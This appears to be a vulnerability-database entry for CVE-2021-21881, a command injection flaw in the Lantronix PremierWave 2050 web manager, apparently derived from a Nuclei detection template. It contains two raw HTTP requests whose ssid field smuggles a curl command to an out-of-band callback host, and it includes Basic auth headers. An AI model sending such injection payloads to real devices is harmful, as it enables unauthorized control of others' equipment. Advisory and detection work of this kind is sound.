| Title | Lantronix PremierWave 2050 8.9.0.0R4 - Remote Command Injection |
|---|---|
| Author | gy741 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, or complete compromise of the affected device. |
| Remediation | Apply the latest firmware update provided by Lantronix to mitigate the vulnerability. |
| CVSS Score | 9.9 |
| EPSS Score | 0.92333 |
| CVE ID | CVE-2021-21881 |
| CWE ID | CWE-78 |
| Tags | cve2021 cve lantronix rce oast cisco vkev vuln |
Lantronix PremierWave 2050 8.9.0.0R4 contains an OS command injection vulnerability. A specially-crafted HTTP request can lead to command in the Web Manager Wireless Network Scanner. An attacker can make an authenticated HTTP request to trigger this vulnerability.
POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 149
Authorization: Basic dXNlcjp1c2Vy
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
ajax=WLANScanSSID&iehack=&Scan=Scan&netnumber=1&2=link&3=3&ssid="'; curl http://d5jn6lple0o0jr0vgmkggxts1kodo8ukg.oast.site -H 'User-Agent: IcskAm' #
POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Connection: close
Content-Length: 147
Authorization: Basic YWRtaW46UEFTUw==
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
ajax=WLANScanSSID&iehack=&Scan=Scan&netnumber=1&2=link&3=3&ssid="'; curl http://d5jn6lple0o0jr0vgmkgmencqj73u5uaj.oast.site -H 'User-Agent: IcskAm'
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21881.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-21881.pcap
N/AN/A